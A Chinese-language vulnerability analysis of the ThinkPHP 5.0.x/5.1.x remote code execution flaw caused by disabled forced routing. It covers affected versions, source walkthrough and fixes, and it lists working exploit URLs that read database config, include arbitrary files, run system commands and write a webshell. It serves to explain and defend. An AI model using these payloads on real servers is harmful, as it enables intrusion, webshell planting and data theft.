通俗易懂的thinkphp5.0.x 5.1.x 未开启强制路由导致RCE分析
字数 1232 2025-08-20 18:17:53
ThinkPHP 5.0.x/5.1.x 未开启强制路由导致RCE漏洞分析
漏洞概述
本漏洞存在于ThinkPHP 5.0.x和5.1.x版本中,由于未开启强制路由(url_route_must)配置,攻击者可以通过精心构造的URL直接调用框架内部的类和方法,最终导致远程代码执行(RCE)。
影响版本
- 5.0.7 <= ThinkPHP <= 5.0.22
- ThinkPHP 5.1.x 全版本
漏洞复现
ThinkPHP 5.0.x 利用方式
-
获取配置信息:
?s=index/think\config/get&name=database.username -
包含任意文件:
?s=index/\think\Lang/load&file=../../test.jpg -
包含任意.php文件:
?s=index/\think\Config/load&file=../../t.php -
执行系统命令:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
ThinkPHP 5.1.x 利用方式
-
执行系统命令:
?s=index/\think\Request/input&filter[]=system&data=pwd -
执行PHP代码:
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?> -
写入Webshell:
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?> -
执行系统命令:
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id或
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
漏洞分析
路由检测流程
-
path()方法获取请求路径:
- 通过
$this->request->path()获取请求路径 - 最终返回的是URL中的
index/\think\Container/invokefunction部分
- 通过
-
routeCheck()方法:
public function routeCheck() { $path = $this->request->path(); $depr = $this->config('app.pathinfo_depr'); // 路由检测 $files = scandir($this->routePath); foreach ($files as $file) { if (strpos($file, '.php')) { $filename = $this->routePath . DIRECTORY_SEPARATOR . $file; // 导入路由配置 $rules = include $filename; if (is_array($rules)) { $this->route->import($rules); } } } // 是否强制路由模式 $must = !is_null($this->routeMust) ? $this->routeMust : $this->config('app.url_route_must'); // 路由检测 返回一个Dispatch对象 return $this->route->check($path, $depr, $must, $this->config('app.route_complete_match')); }关键点在于
$must变量,它决定了是否启用强制路由模式:- 如果开启强制路由(
url_route_must=true),则输入的路由将严格检查,不存在定义的路由会报错 - 默认情况下强制路由是关闭的,允许直接调用控制器和方法
- 如果开启强制路由(
-
路由解析:
- 将URL中的
/替换为| - 使用
parseUrl()方法处理URL - 通过
parseUrlPath()方法将URL按/分割成数组
- 将URL中的
命令执行流程
-
控制器实例化:
- 通过URL获取控制器名和操作名
- 实例化控制器类并保存在
$instance变量中
-
方法调用:
- 判断方法在当前环境是否可以调用
- 执行
Container::getInstance()->invokeMethod($call, $vars)
-
反射调用:
- 通过反射方式调用方法
- 最终实现任意代码执行
漏洞原理总结
-
路由解析缺陷:
- ThinkPHP默认不开启强制路由(url_route_must)
- 攻击者可以通过URL直接调用框架内部的类和方法
-
动态调用机制:
- 框架允许通过URL参数动态调用控制器和方法
- 缺乏严格的访问控制和参数过滤
-
反射调用风险:
- 使用反射机制调用方法时未做充分的安全检查
- 允许调用危险函数如
call_user_func_array
修复建议
-
开启强制路由:
// application/config.php 'url_route_must' => true, -
升级到安全版本:
- ThinkPHP 5.0.23及以上版本
- ThinkPHP 5.1的最新版本
-
输入过滤:
- 对所有用户输入进行严格过滤
- 禁止特殊字符和危险函数名
-
访问控制:
- 限制可访问的控制器和方法
- 实现白名单机制
总结
该漏洞利用ThinkPHP框架的路由解析机制缺陷,通过精心构造的URL绕过安全限制,直接调用框架内部方法实现远程代码执行。开发者应当重视框架的安全配置,及时更新到最新版本,并遵循最小权限原则进行开发。